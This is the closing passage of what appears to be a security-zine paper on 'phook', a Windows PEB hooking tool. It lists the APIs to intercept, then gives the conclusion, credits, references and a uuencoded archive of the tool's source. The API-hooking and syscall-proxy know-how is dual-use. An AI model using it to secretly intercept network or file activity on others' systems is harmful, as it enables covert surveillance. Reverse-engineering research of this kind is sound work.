RegQueryValueA/RegQueryValueW - RegQueryValueExA/RegQueryValueExW - RegReplaceKeyA/RegReplaceKeyW - RegRestoreKeyA/RegRestoreKeyW - RegSaveKeyA/RegSaveKeyW - RegSaveKeyExA/RegSaveKeyExW - RegSetValueA/RegSetValueW - RegSetValueExA/RegSetValueExW - RegUnLoadKeyA/RegUnLoadKeyW ... - Monotorize/virtualize conections. - POC [R.20]: 1.- Use the tool CreateExp (see section 4.3) on "ws2_32.dll". 2.- Based on what is desired to do, it is necessary to implement the monitorization/virtualization of the following APIs: - accept - bind - closesocket - connect - listen - recv - recvfrom - send - sendto - socket - WSAAccept - WSAConnect - WSARecv - WSARecvFrom - WSASend - WSASendTo - WSASocketA/W ... - Syscall Proxy de ficheros: - POC [R.19]: 1.- Use the tool CreateExp (see section 4.3) on "kernel32.dll". 2.- Based on what is desired to do, it is necessary to implement the redirection of the following APIs: - CreateFileA/CreateFileW - CreateFileExA/CreateFileExW - ReadFile - ReadFileEx - WriteFile - WriteFileEx ... - ... and free your mind ;-) ------[ 8.- Conclusion If it is necessary to do a hook to an API/exportation, any actual method may be used. But if it is necessary to monitorize or virtualize the access to various APIs/exportations with phook it is a lot simplier the implementation, as it is only necessary to program the functionality of the APIs/exportations. Besides, it is a method oriented to the reverse engineering of software and malware protection systems, as it difficults alternative methods of searching the exportations and elimination of hooks. ------[ 9.- Acknowledgements Recommendations for the paper: - phrack staff - Tarako Translation to English of the chains of phook: - Southern - LogicMan - XENMAX Translations of the paper to English: - BETA : Ana Hijosa - BETA 2: delcoyote - ACTUAL: LogicMan Virii scene: - GriYo, zert, Slow, pluf, xezaw, sha0 ... Reversing scene: - pOpE, JKD, ilo, Ripe, int27h, at4r, uri, numitor, vikt0ry, kania, remains, S-P-A-R-K ... Other scene: - sync, ryden, xenmax, ozone/membrive, \^snake^\, topo, fixgrain, ia64, overdrive, success, scorpionn, oyzzo, simkin, !dSR ... ALL vx.7a69ezine.org and 7a69ezine.org people ;-) And specially tahnks to YJesus - http://www.security-projects.com ------[ 10.- Related Works [T.1] .- We are not aware of any work similar to phook, but there is an article that talks about PEB HOOKING written by Deroko: "PEB DLL Hooking Novel method to Hook DLLs". The article was published in the ARTeam-Ezine number 2. - http://www.arteam.accessroot.com/ezine/file_info/download1.php? file=ARTeam.eZine.Number2.rar ------[ 11.- References [R.1] .- Structures of the PEB: - http://undocumented.ntinternals.net/ [R.2] .- Gaining important datas from PEB under NT boxes: - http://vx.netlux.org/29a/29a-6/29a-6.224 [R.3] .- Visual Studio, Microsoft Portable Executable and Common Object File Format Specification. Revision 8.0 - May 16, 2006: - http://www.microsoft.com/whdc/system/platform/firmware/ PECOFF.mspx [R.4] .- What Goes On Inside Windows 2000: Solving the Mysteries of the Loader: - http://msdn.microsoft.com/msdnmag/issues/02/03/Loader/ [R.5] .- winnt.h (DEV-CPP): - http://www.bloodshed.net/devcpp.html [R.6] - CreateProcess: - http://msdn2.microsoft.com/en-us/library/ms682425(vs.80).aspx [R.7] - Three Ways to Inject Your Code into Another Process: - http://www.codeproject.com/threads/winspy.asp [R.8] - Import address table hooks: - http://www.securityfocus.com/infocus/1850 [R.9] - Code overwriting: - http://www.codeproject.com/system/hooksys.asp [R.10] - Hooks: - http://msdn2.microsoft.com/en-us/library/ms632589.aspx [R.11] - System Call Optimization with the SYSENTER Instruction: - http://blog.donews.com/zwell/archive/2005/03/13/300440.aspx [R.12] - Run-Time Dynamic Linking - http://msdn2.microsoft.com/en-us/library/ms685090.aspx [R.13] - Thread Walking - http://msdn2.microsoft.com/en-us/library/ms686780.aspx [R.14] - CreateFile - http://msdn2.microsoft.com/en-us/library/aa363858.aspx [R.15] - MAN GCC (-fomit-frame-pointer): - http://www.astro.uni-bonn.de/~webstw/cm/gnu/gcc/gcc.1.html [R.16] - MINGW: - http://www.mingw.org/ [R.17] - ReadFile: - http://msdn2.microsoft.com/en-us/library/aa365467.aspx [R.18] - Registry Functions: - http://msdn2.microsoft.com/en-us/library/ms724875.aspx [R.19] - File Management Functions: - http://msdn2.microsoft.com/en-us/library/aa364232.aspx [R.20] - Winsock Functions: - http://msdn2.microsoft.com/en-us/library/ms741394.aspx [R.20] - MSDN LIBRARY: - http://msdn2.microsoft.com/en-us/library/ [R.21] - Iczelion's Win32 Assembly Homepage: - http://win32assembly.online.fr/ ------[ 12.- Source Code Message-ID: MIME-Version: 1.0 Content-Description: "UU encode of phookt~1.gz by Wincode 2.7.3" Content-Type: application/X-gzip; name="phookt~1.gz" Content-Transfer-Encoding: X-uuencode Content-Disposition: attachment; filename="phookt~1.gz" begin 644 phookt~1.gz M'XL("(>.$T<``'!H;V]K+G1A<@#LW7E`5=7>-_#-`145!14-%?5H#C@AHR(@ MH'"Z][[O/?>YWW_:#_W>#[[>WY[[7GMO0_0DYF2D3&IB_9?'8Q& M8[=NW8SB70P^=N_ZB*]/-Y^`;CY=?0.ZB?%`WT!1'ZC]/?RW![G_QZ>F_Q>/ M@?_)_N_:U8_V?S=_W[_W___&H/9_8D:Z)2/-[)V4EJ;]9X=_M/]]`_U\_0*Z M5NW_0''BBQ&_0+'_?;2_A__V,.CQ19JC>'<2K\I*3=NFYQ':/Q]FBU?=%COJ M:IMK'FNYS6'@L99Q*:D68V96QH2LA,G&Q(3T]`RK<;S9F)6=;DQ--T8-B35. MSD@R>]>I4ZNUWD:T2=,&.CAK&84-^FB#JVO7Q,)MD6+"<--LCE=L#RZ\/&ZABY]TYUS5$>?9A._*._RS=U`FC:O!K_>"53#-I_ M?/"VFG.LXOVU1_4%:FU;"36,$__S3DJP)LBU4-O"2]7H<;%WEBQTJT,;E7:, M>'5XJ"[">[S%0B[&#/YBE:F]5&I/WS:9XN4L7D%_-E]S6D:BOHUFZ^L0\5!= M+V^+-6$\->4D]M8B@>KB/>K!.H.S7F>Q9NTT5-.TE:+&2;SW=WBH3OM[^(\, M\?E7A@^+S2US*9CEDEOIX#KO71'FSVSM5##:K6"0<_ZHUL[Y+JU+KM03Z4%1 M1C4O[?4MSKOM^E)QWE[KR(*&VKBATCJ+^)!;ZM3]BZS&!8YY MQ=9?*H_+:H26TD)K6RW?O77)4G%P^Y[,QT>'G-`SE%A%EE>9[69K/KNW[VW4 MWRPTEX\<,W;T7A>-QD7];%O]:BH5\TD[A%5;38M3,LE3?'J[J:9=:UM96;E( M+F3A5*UP5SLJ^A>6S[>RY'8+L?H]^/*=$LFU#-%BR76A0YJ+"'V+KXT52>&' MPK;VXW?0_/*OY)9Y;*?I"TS.^7%BFPYL[93OU+IDEICX2&Z%0^/B?7*R^.U5 M]3MD/=6*:63](*K?Q[:OV'^CKTT0ZV@;ITF##IGN4F.'3!7RK5R^W91O9?*M MA-X*3"[4[A71;FZ94[ZI(G=6A9;=XE!4:R""/UN$@@<68:NC M:B9?-=.:-5-#0&Z\[X_LPQ9WIFJ*]&KJU?6//.@C!_41=:1BBQ68[MH*]`_Z MB0]LF[*FONM*_<0R%KH?0-/BLU`#^ZP1?>8B/XN_*UIQ=*HG]F"!J8*UG)L3 MBDE*,$E;D13$.Q=$A#HE/JQ)5B"V")JAG,.H[>V\S?6>7%9C< M*7A?!B@OH^#6_5N;4#;8J7:J)^[TVJ5 MY^:X:]DNATR7L(,_H/49[4*EM*VH@0C,L-A3;"#'W%DNK'B^J+#MC7@QZ^_% M;"SC"^)=!`L]Y;;QDY\X]G*CW:POK".67BR%_T/%-U6QOBYG/&5QE+]3H3@& MM-(7"TP>U&J,>[Z;6!2Y>RX5FBM&CADMMWV0?F85>-K.$7T[SK`%%>JDN:@V MR:X&M$+GL'+MQ&'#SL>A545+6)%!%)6<=A>;1FS(6>5Z<6M5/)$5G[9M4!?L MFIM`&6T2TR7Q;T&$1XCI;G9U!"6VH$(/OJ=`D_4AIDM60^G1W%DEFC4U=];W MFC6Q0$P1X9EONE@0+R;]GMS+LR!>3'51`)]Z5'U*[N5A^]0#GQJK/B7W,MH^ M-8JEQP':A-:LKUJS1?6KUJS`=$X_Z'-$D;.[*+>=DH6FM52V32[FS+HGCU?9) MN3Q2L-V/%XC_$N79]<0'_#DY@.)%F(ZI0>T9$3:B&6R5KO64:RQ6'&YI&NP M?T2'TEI>!URH+;I3M/6/MO.C,>T+M[SB;/2<5K6%B]S$-7>1K,P-TJR#](Y0 M='@A)G=+5W'+(EC5([H4.(8XUFB=Q'7 MFCK@*ICK-?O!W%'D#_3,-V6?K(Z%FZY;(ZJ'F,IE=BV,SL]XNM([N(E_*DESC-K-RDH"'G_$9.B!+N7N M]Z0NE-_?#-\V3U24[&TH-D?>]S5LU.B+WY!__Y5V2NHWC/.R!&K6Q#*_2OEMVM`*.TPU>YH0\I$'.1P657&9C*:>R#AJ(! M;^H"P@SR[DO4%^:54+&I3$TUTH56\Q*UKB^6*-3[,DR@UZUNJ'_JHS[59[4` M6^JHK8F\-:HQIPMBW=3,AM1!ZB&;IBTJCGWW0DQ!]TFT=6R+0=M3OUE3#>S& M.GKFYUW$1J%_*[,;E=P63Y\]KHAM;JUU*&^EFKV;@WQWJ10#&JV:<6XQ+KBV M'6=%P^X/-LP:>W@9"_$9G;NRP0<7-.#A]C3>GMJ/3>1NR]V-CZP]13?AB++. M]<2..(BM3&VK79$E-_V#,[14HV/E$N9&_SIDUU,?'JSSP#SJBA(L4+5KM<5= MDUJ6P77Y(9390&R8TKNB8);MWM'K']WIZSW1=ER';HI*O2N)$-=XUV>OR@I' MT]W9049K;1NU;!^<&1W$S:"\&#C3BNEW,Z,;X#XT0MR]B'Y,G-M+_JJ58-&* M0W9`07R%J&]_7#95X5C56C4ZK'']L&NRM,^?MNSO$=9@: M$O_<%0M(AYJ^L?H>,IVB39!\R'3RI!,=?M6K+C_H,@QTY/5WH6WN@IN#\KSB MZ?[\)+BL=Q%761?Q2GUT$>(*C"O\9`=9ZO;`+<@Y6K0;]3#S]*$$:+\I*V% MMU4+J#"4?FC[Z`Q;7[VY5U'M+%8T[,]6]#9;T8WUL*+ZA`8Y&WVU2Z>C,](> MZHP&V!;WIKAKJLS^TYG<8S,9\,!,EM=Z8";N>CQ?QN)8SC<=+3`=Q0Z>4S9" M7D;%FM\NB:1O+/:*%;]-5_7\.'E)=XH1#_]YY^[+T^LI-UOWAW=W6R]%RV]; M3KO5*A;+Z28:*?G%3>_Y3MVG4YS^K72=]X$^I<%N2MG%G-+G>PC3NN565%JM M:FGJN=$2T_QE=W9*V:"5JO7@DZYL(B>E<=ND.S"IQS8ZAH^( M;X$6/3#(Y]X'>T5J(5K,7._#?J]#-ZS9S1^\S6V$J_)=:O5:F8.<*%Y-M/]/ M)RIB$VW5)QJE)GI.3O2(K=I15>?KU2FJ.N'!ZK>=5/5(O7JRJO:7U6-L7:GH M(ZU^LA^4(VUL(]15VJK8LI_\49Q0N)O-B:FZFPVKIF;Z@[[IEJJ9?N2"F0;G M]J`C0,MNB.=Y-7FE6.92MR+ZD$9;R,N7K<&7]08_5@U.E@UV^ZL&US_8X-=U M>(.E?7"WIEIK(5OSH?BH:B35"4=/$AT]ZVPM5%`+>D-X$,>F^$U-Y2^F>N"K M%)?9VV@3ZD]^+K%5E36QIRK0^S\C"OC5;6`=_A69_%8I2$WZF6/5I*4Q?+HX MEP>^6L-TH]5TB]5T\JEXIOILAJ-^Y/_#Y7]-3=!/-79MMMWR+_R3Y3BJ)JW+ MEJ.ON#!C<\M)\HIE=9FJOF2P6VKGN*K/]AL>6NI8ZJI&NX@"UZT:OSG<6HN^ M"*)^*0A?7Y6CQ5!]D]$^C=64T3W*D_8 M*/5YH?@<\Y%SI;D92N?K3X_X&N]/^T=UST,[NB2Y)M:6NMQ,T3:>N\6[OD-' MU,0ZL@5]1$RL?WC!V?9-Y\/-NM:T;43]S(X;5K7@I^@$#N)S7#2L:HX_.-O/ M\0VM:HZI:HY>)2ZU\(`GJO0#9-)(<7$^@^G+]>AIBO8Y/W2MISO$JB<()]L4 MSOR"4T^LQ?::N-*+RUI+?9G$)\NHS0SGJH5:@R(G=K:A.Q4%$;8+VL-?K0PQ MX"K(]Y&_(TJBG"DJUL^-0Z;] M\G@HEHN/R4LT>;V6WU)49C<4^4I:K:+[-,4NS#+GD.FPI_P&2-V#BNVK7^FS M7<1$QVFB-'IP,9T*,15GN]+W&*;C^08Q6X>'IGW'-JW5.7?6?@=QN![6/SE> M0[^KVY]OVE5@VG5DG[X]4FA7C!(SN2\KY,TD3OW]6$H<5=N,W[<8UN^G+[#XOL1MWLJL_;/?Y?KOQ MXW;CY^S&C]J-GWI@7/[THTB+$-O>.>^(M:W=S_\JW0KJX,.A3H4]G58+T@_S MKAW95[BYK3Y]K-BC10O\<]+H?KA]7G'^/FN#_-OZS\\JW9?31P.R;XMC(**3 M.`;>$3^#&2DZZH(Z"\4'XB>11TIK112XYXDQ:KJ\=+?^`[B/>?M&_&@PNRMF MM-.!=G(SD6&>;3!/UT7T\[Z'YQ?\S^:WYX'^=;O;:/KY7:F[7`JQW@4.N7N< M'>;2;RW,^9T^S;H^6MUO%\W&S_M&%_1UJKRJ!\HA"K-T=DVU:*?^CL+'E!=$;;CHJQG=_+ MSLJ%?OA;>E;?46)_J)\7SRD[2NM6AY9=['1G_6>R^PZ9EO840Y&/:*8P>^DA MTVLT>LBTDM[R3=N*`L0'XAMAF:Z5Z:ZB(*3K9+I1IL5%H4@WR]']11&TH*;# M15%X/UK4%^_'BP;B_93KUFK10LGYXF$Y0&PG+[&=L`V=Q-[-BZ*GL[P0!_29 MH=3Y18K5I?WN.N\QD=[-/U2`HNVNXD/Q/6*D4[%O3AJV\:%(Y]F=<]**(NC' MOXXT<4'#*'*D%SJ+2/!0W="9&>1='C*#`>BO2I%$-^9*>"AI[B MHR(/%`;M:($)`_)OYY]K>1@__VUM=#CBU'/!O`Y]Q03]IU_%-LS/2Q%C10%@ M&C$(S"2&@E9B!)A#C`)G"NI;:+:^A>:I+;2@,(_F@N/)'=NI@K93978OWY/B MD&Z>[]FZA+Z2KMJ0XE.Q+4O&WA,3[G5_K&M?LTO6D0+6!Q!_?Y]L5GYN#?MZ?/BGT6JOYYI MUS\NL!M_S6Y\C=WX0KOQM7;CZ^S&-]N-+[4;WV4WOM%NO-AN?)O=^$MVXROM MQH_:C0^T&^]K-YYF-QYJ-^YI-S[";CS3;MS#;MQH-S[.;CS.;GR4W7B4W;B/ MW7B$W7@GN_%HN_'6=N-)=N,I=N-!=N,!=N->=N/N#XSC]S7Z?%U9674\GL/G ME6+(%%<43",&[7]I6(IYJL$V___MY?A[^'\S&$?V&]Q[R.A@8W2"^)U-L]6< M9?05OZLY-2$M-JB#+G)F6D$@%_7K&43QR M>,^8P?T&]QEMC$LQ&]-2+59C1K+1G).9D64U)QF3L],3K:GB5Y>-21EF2WH[ MJW%R@C4QA19-ZQQFMW096:D34M,3TD0SX[,2LJ:+JH=KLK.,&=/268FJR1AO M34A-%U6TS.TLQIY)25EFB^6!&HLY(2LQ1=3H+:2:+<:,=/J]U^PTL\5;X\N5 MF)*0/D%?5V.F.6MRJL5"Z\*72\S`FI'UYT5B,,7$#(G1(A-HS<6O3F99C;;? MX]9J9:88PS0SM:)9,A(GF:V:CS?^3Z/-:$[7$A(3S9E6K8U/0)*QLY'>M,C@ M49DI8^7G8VD;6[S3,B9H=<3,:-";&Q[;,Y9FEIUI?SS19M2RT_%F2-IMS]PW`TV)XI-*+:T,=-VA-&J6;(MF>;T)%47F3%Y;-7-.JI6U&25VH&U_TC2):1D68=NFH<,J/GT2[>5$ MV:KQ[VM6"Q,ECDA:3JF$$6I M8E^;)V?0D6-_[/1_MD2JGJK^P>)D MV[8-7Y@_6Q116;4P1CEQL'X.6/6S%O/5/Z+-.U4_NWLE6,Q1`P<.%CN4EKYG M;&2_?EA(7V\?T=;8?W,PUC+.-/[%$(V>)5KT09E6X]0VEK\HFZDW,3(V19RQ MYJS1PN;L]-3)YB2S)2(EPSHY(37-6QP?5/1/VHC*,D^@=YLCDK/\_<6OP4\T M)UJ],[(F&+O(N%M"U^[F&:GI9@IY&YW_K4&V\?"08K5F!G?I,FW:-&^[!?J+ M=1G[;PXS:]7B_5NP,<&2.B$]@8X(_2@TBN,N87)J8@(=7LGB8*1^P3@^.SG9 MG$7'QW_@V,#!\>\=&_I>^7<':L36;^'*%6S\GP__@>-#'B!R4__IT-D8*[IJ MB]%*?[YA2B;O:KB@26)UW=)`N9O%O/7 ME^J_LB3ZI;ZJ1(??:-K%YBQQZD^VT#7$V-=V'R@63/SIV;^\)+:&@XVXR&0D MTZ:MNL.CIO[E1OQP>VM-$5HN7]OBTH=GBJ.B73OLF@19-])-T M;_9`?>>!_7KUB8P<[N_7V=2WLU_GV/X#^W?N$]D>PU7'QJZCLVMF_/&%-4>ZV-);A-=K`Q65QM MQ4&58!'/!SA'Q[6QM!,7!&_O+N)_$Q(3\1)=27+JA"ZI_D%=NXBY=)9SZ2QF MXYVHT;KWM&9,IN.AI]$K0;"3T=+)-E]+^_;&ECV,?_]1X0/#FDSE$5,U;?\4 M\6+90I%]+[)REE6(S%W\TMNH*2ISF:9I,T66PK(XD2T0V3J6)8GLJ,BVL&T6KV+Q M.LSJ3PE?$J^;E(GG!C?QZB1>0>(U4+Q&B5>:>,T6KZ7BM5:\=HG7>)UR+Q6BI>*\5KG7AM$Z_]XG54 MO,Z)U_?B=5.\[HJ7,VUG\;(-1F:?J7]OGW]E^[C2LRIN3$Q3S>E6K1Z-H__4 M`S$TI4QT'D/$52@M(3/3G$3W#VGXS(<^BS$G4G,!TA:S54X:2>/#$U*MO3.R M!HGZU,PTV:C8;DWH,]ZIB^E;V#TW/VI[`,>??XJ_P1:_H=)&2Z2%E<_KF&>* M5=P_B;^%%X\-UK$)XAL'K;OM^5T,D9K%3-/UM3WBX^]AQ1<3U!/VU+2V&E:^ MK[@I2S.+SZ(TN?*]17?;4XP_KH_C&B':&:W]Q<5%M+Q!ZYV:KC=\7.N-R\0@ M>GB?@*:TTUIO<>NH/TB*\8NL1Z:*Q@YB/#([*TML(MNUI M$!H?1/=AE+X.H<1?CXFF#%DR;96QFA.Q'[HZ#L]*E9M:B]7&BK]J39RNQ8<7^2D2Z_MM"6:F/% MURKI&?A3`&UL:H;X0]F&AH3QXML7K:6!GI4R$G$L&I*3T[(M*>3NAN3,++'4 MR<+AAF1:/2W+,+FJ=II!W-J)V9%SX,SIY!EDBSQ.GC)4-:&]:+!4C:PPB$5- MD\?7>@=]#_?*R.F)MH:(K:)O%!HR__PU/-9OK+\?;BPT]\Q_[34\=DCD`'TB MKTSMO_H:8(H9;!HH9J;_YPY"13;9,C4QRRJ3Z,S_^Q=O)TF,Q\>:8FQSRK&? MM^,![?_IX";Z=#K??`;Y3/%9Z+/*YYC/19];/O5\._F.]TWS?<'W-=^F?D/] M7O4[Z]?K2BH:W>7$/>0FR%=PKN%SPBG7S:D7U3Q M\#'ZS/+)\[GA$^![R;>K7Z+?)+_7_4K\FOG'^,_V7^_O%/!H0%!`9$!\@#4@ M/^"E@#<#]@:<#W`-[!YH#5P7>#CP]\"`KN.[/MFU?;>7NVWI5B^H<5!Z4&Y0 M0=")H.^#@KJ[!D<%OQW\:7"OD)B0\2%9(7-#7@A9%;(I9&_(R9!O0VZ%&$+K MA[8*]0OM$YH4FA&Z('1UZ'NANT(_"2T)_3GT;FB#'LUZ=.H1W".FQ\0>F3WF M]GB_1TF/NST$'PT^$7PS_/ORGSS M^4)L0X-O?=]6OGZ^O7QCQ+;,\ITKMN8JWTV^>WU/^G[K>\O7X%??KY6?GU\O MOQB_\7Y9?G/]7O!;Y;?);Z_?2;]O_6[Y&?SK^[?R]_/O);;;>/^Y_@O]Y1_3 MNZ`S$*]%TNYB>VO1#IH[W8>%7`KUZK&R1UR8>[@VSD'S$-E*'S?_4X'E74<% MI019@^C\=,`O`E8$.`4>[7ZNNS9;CGL%!`2\%+PR6%OD@'8#?")\1*>#=LL" M3G4+[5X1?#'D;K@68=`\Z;[#9U3714%+N[\4'!>R,30J_%2X"*,-F.<"G[Z^ M:WU'!9X*].CFV;V\N_;W\/_EX(!_3S44_[T%[/,D\3I>+R?-@7D8]8^V[__% M:[;NYYC?9C['[.:@/(CY=>8;S$T,ROV8+N8]FOD]^!OX/K5E+LP]X:_D\\!\%5X$GP-SF->!E^'WX-+X;UPF7S> M@'^$[S+7KT[^"6[#W!V^`0]C3H-OPOGPS_";S+OA6_!WS'?@7^2S9PUR.=R" M.81Y:`VY#>^W[JREP7)8P+R&^9IN-_$=1"MG:N%?W7?<@S"M+SP6 M]H.S8']X'AP`+V'>!`?"!YF_A;O"OS$WK$GN!K=G[@T'R>,!#H:SF0O@"+GL M\"!X*SP8/LU\G?D^LWLMY0[,X?`0V9\PSV!^GODM.%J>C\QGF:\S5S*[UU;V M@H?"`YD3F*?!H^1V@$?#*^%Q\!;F$\Q7X01Y7C#70@\'IX*RX?C M%V'Y,+L!SH$/P$_"WS/?A9^2S[YUR++W:@W/@8/A`GE>P`ME?P@O@I^!GX?7 MP2_(^3)_`[\H^UMX.>Q<5]D(KX`#X)5P?[@('E-7GFL'Q'^4Z`EAVWFQB/E- M8=NYL(/Y"+S,W"Z7$?FK7"&O`8QWX`SX>KUE8WP%+BK]$-]X!#DP=5PO#'GP7)H MW(#P9S>4-5\ M`H]!_B-SDT:J)AM.1+X$3H+WL9KFCY!3Y;R8TQY1-2T\L`V1]V=^RD/5^#8F M3T<^DOFYQJHFH@G.?;G-F5]KHFH&-27G(Y_*_'935=/,$_T#3;6=ZZ&7FI7)=F*A_3G/P^\KG-5;[$2#Z*?".\O@;Y"^:?C*K^ZY;D#VM@ MI)7RH\Q]6JGZ(G@'\@/,OS`W?E35?PP?0OXUV5=.^"7\KUX7Y)U:3T`[W?LCG,V]AOMA. MU8_SPGT=\F>9#\(_P;\R>[=7TQZ"RY&7,W?L0/X5[M>!U<-_(+_!W+*CJDF' M[R-?RGR4N0*NA.MT4M.N@*LYDSP#RZ"SOF80_D.YFOL1H?'[(G\L',4YD7^ZCZ?7`+ MY)>8:_BJFDBX%?(4YB6LYCK<%KF+GW(0\R@_5;\,[H#\0^:+K*9>`+DK:M0Y?A0 M5?,2/!/Y1N8SK*9-&#D?>31S7IBJZ1A.7H1\&'-!N*IQC"`O1MZ6.39"U;P" M+T.^E?D;5C.[)[D(^;O,EWJR:V4O\AKD_9B?[*5J?H'?D<=`I')DI*IY%=Z` M?#?S-583&47>C'PB\ZM1JB;91-Z-?!'S?I.J">A-WBO/"^9G>ZN:;,!RK$#5$WM@7@V1^[+/&*@JG$>3*Y6$\]ES#6WG(>0ZR`C57W7&'(KY".8YS&OC5'U]V+)79"WB%,>P)P1Q^XQ M'B.;D>]COO&8JOGR<7(F\GO,'4:JFAS8BOQUYL]83=%8\LO(#S/_/I;UI0DX M=Y!O8;Z>H&KV)Y)W(O^!N7Z2JKF93+X@\PG*81/8O1#\+?+CS'=937P*^0?D M.BUL9^;22:K&E$YNAWP"\XOIJF9G!MD7 M^0_,33-5S3JX._+/F.^PFN@IY'#DTYC73F%];!:Y+_)!S-.S5(W%0HY%OI+Y MK$75M,HFCT/>GWEFMJK9"R#IL MR"'/@-ODJ&E_A?.0-Y^N/'2ZJOD*?@:YRPQETPQ5LP-^#OD5YB9/D!?!T4^H M^O8SR4MESCQG)KO7G45>B?QIYFWP&_!7\)NPXY-JVC/PAEKR(5,YX"E5TV#\SOSV;WGW/(^Y$/9LZ?HVJ^@0_+[3-7.7(N>TZ!/T-^G;E%+KMVYY&_ M1N[#/"%/U3PRGWQ%;G_F6?-53>;3Y!O(ES`??EK5;%N`^WGD)YEO+U`UA?ED M0VU<=Y@OY*N:P<^0:R"W,J]YACV_+R0W0MZ/>?9"=A]>2&Z!/*A0Y4OAMLAW MLMSC67(GY*'/LN?6Y\A!R*7(T\G+F1U]0-3_!CR'W>%%YX(NJ M9A,\&OE7S/5?8LL#CT<^CWDSJXE=3%Z.?-IBE7^XA/P6\I^8?9:RY]-7R)N0 MO\=\_15V_[F,O!7Y`6;M5?8]`[P#^9/,VUG-S-?(>Y!O8K[UFJJ)6HYS!/D3 MS+N6L^\<7L2CR".9%ZY0-7-7XED>^3;FBI6J)KB(?!9Y M"O/*(E7S%7P%^1_,CZY2-17P3>2>JY7[KV;W5VO(=Y&W9QZZAO45<#47G.]O M*/O"M>!GF'>_P>ZWWR2[(8]DSGJ3U;Q%]D?>BSGS+55S^AUR#/([S.W?535S MUI.G(%_'?'F]JO':2'X*^6#F)S>JFJN;R*\@=_N`/?O#:Y`?8;[':IRWD']" M'LB06\`?X=/@C?@;^&[\IG#;+^XU[G[60#W`)VA`-A)W@H7`U.@ZO#N=O9 M?1=<`_D^EO\`.R.OMD/E[>":R$TL3X-K(7^.Y>OAVLB/L/PZ[(*\QDYVG,!U M9/LLGPS71?X\RS?!KL@_9_E-V`UYG5WL>02NA[P?RR?#[L@+6;X);H3\"Y;? MA1]!WG(WN3$\K]^Q&Y&6S\B-T#P\V1I[`\ M'VZ!?"W+C\!&Y"4LK_4QN27R#A^K?`#<"OE$EB^$'T6^CN7'X-;(RUCN5DQN M@]RO6.4Q<%ODF7`[.`_V@I?#[>$M<`?X:[@C7`%W@NON4>VGPG[(GV)>P;P5 M]H>_9=.&[25W1Q[//)7Y.3@8WKE735L&AR%WW*?#-[(_`/\N+Q7/,+F^PEY(MSF$Y5O@:?`YUG>\%-R%ASQ*7OVARWR-HKY M,*NY#UOE\^!1E=^$GX3K'I.VWT==C\E]=&-V'2WVF)IV.=S*@&5F/L-\D]5W M^YSLC3R!^>7/58WA)'D@\D>8NYU4-4V_(`^3.?.8+U1-XFEL6^2SF%>=9MOM M#+8S\L7,'Y]1-2^?)<]"OI[Y)/PD7.N=53?TO\4R*/)1Y MRI>JYC/X1>3ES&TNL&=2>#'R!5XRZROO0K^9M_G?T-^#WE'YNAO5,T[E\B[D1]BOG&)S>LR M[N>1/\^\E?GT9?:]Q'?D<\C7,9_^CM5<(9?)&N;35U3-T!_(MY!/97Z#^>@/ MJO[3JWB>1?X+AU)H]'[L,\\C;KEWXC3T3>BSG[-_8SR@JR!?D2YJ,5[/N0W\FS MD)]C=KK#OH?_@[P*^7KF,\R__L'.EWOD+YAGP!\T;F8_?9 M=YB5Y'W(+05SB]K*H?#O\'#F;/@._!SS.E@.U5S(EXJ)JW8:=JN$XQWX2;P`U=E2.8$UQ9.W!SY(>9;\&/PD/YJ6E/U"/[ MRGKFYO55S9A&Y"3D.JJ9/,_(ZY(G,!^RFL+FY*W(US&?::YJ3"UP#B(? MRSR/>27S;N;SS+>9W8S*'6$YK(,/(#_`?(W9J:6J3VQ%/H-\-O/:5JK&X5'R M!>3-F*.8Q\,7X5G,JYF+83FT;(US%OD`YMGPM_`R^#MYG+16TYYO0[Z!_`_F M]FU53?]VY#^0IS$O:Z=J?I>NCGM4+^48+U7CW)Y<$WE7YHSVJJ99!W)]Y)', MU@YLF6$/Y+\SM^FHW+NCJC\`-T/^'7.=3LJ=F`=V4M.^!;="_BGS'5;S6&=R M.^06YJ7,FSNK>A=O-##D8^@'DF\QKF8SYJVCV^Y-[(+_BJ?)0_>1CR'.85S+O]57V'0'*RW%_, MDYD+`E7]V:[D+.2WF8W=E'MV4_5/!I&?1+Z<^1!S29"JC^Y.SD4^BWE+=U7S M5#!Y(?+7F/1+SL^%L^\-;Y/9G-D8H]V6>POP"\V98 M#F$]R;N0CV+.ZZEJ?H'W(G?KI?+-\"?(OV"^QVKB(LF?(\]F+HI4-1Y1Y-/( M@Y@3F>R=S.I-R;.=FDIGVB#_D6\E>8]_91->WZDG^3?2GS M@KZJYC3\A^P/F;WZJ1K_`>3Z-7"<,^<,4#4-!I(;(_=C'C50U?P.&Y$W&:3< M>Y"J^1!NB_PT80MFWA3LA?8S[,7,KL&JW< MA3F:.9OY5>:/F+^%Y9`WE!R`?"WS&>8*YJ8Q:MIB.!3Y%>:&L2IS,N9]S.7#5?3!HX@CY'')_.SS%N8OQJAIFW[&'D\\G[,TYB7,7_T M&'NF>)R!TY).8ES#O8/Z:3=MM%#E+GB_, M+XU2-;^.)N]EOLI<)U'9EWD8 M+('$\A'D,]B7C=!U9R'CR+_G;EUBG(4 MLYDYEWD5\W[FJ\PU4Y4[,0]DGLS\+/-&YF/,I8=L!QF3G:H^MN-9.(<<)+_38WZ< M>5H.ZQ^FDTW(7V;>,UW5;)A!CD;^.?,?,U3-DB?(PY%O9?[N"79MFDF>A'PL M\S,SV7<:<`;RBRR/F$7.1CZ">>8L=E\Z!WT@\AG,[S)_,4?5OYM'WH[\!+-A MOG*'^:K^:?@CY.N8OV(U&4\[5/TN^D+FS0RN>[,&YDO%*CZD(6X!T8^DOGIA:KF-_@WY$T*E?LR3X8KX+Q"-6WU1>0& M\G?1F>.9IR]2]887R9V1MV8>RIPM7'6NP7[(RU@>\1*Y*_*DEU1^&>Z!_!YS MZY>5>[W,^A"X%_*3S/=9S93%Y#[(GV?>O9C=>RPA#T*>QKQLB:KIN)0#CRX\R_L9K$5\BCD,]E?N\5]KW0,G("\H[,CR]3-<_#9N0;F,^Q MFCFODM.0O\E\AOG>JZI^V.OD^2V\`MZS4DW;MXC\%G(SPKP9?AT^R?P'<].WR45P(//CS-/@M^"7F3]B_AI>"]]C M]GJ'_#8\B'D6\QKX';B8^2ISM7?)[\)MF6/A=;"5>27S/O@]^`=XO6QSG;(/ MO`$>ROPDO%&VR7Q,M_W/^WY>)W_>EUC>4*O['M5TPCX-$+;UVZ-A;_@9N`N\ M!?:!OX=]X0;KA?6^/0KVE_T_'`"_#0?"7PG;^OP:&\C=X*YPD#R>X>[P/#A8 M+@,<(I M\X;-JF;?%G(Z\F^973Y4-2/A+'DM8WZ3U?P*3T7><*MRQ%;VO2X\`_E&YJ]9 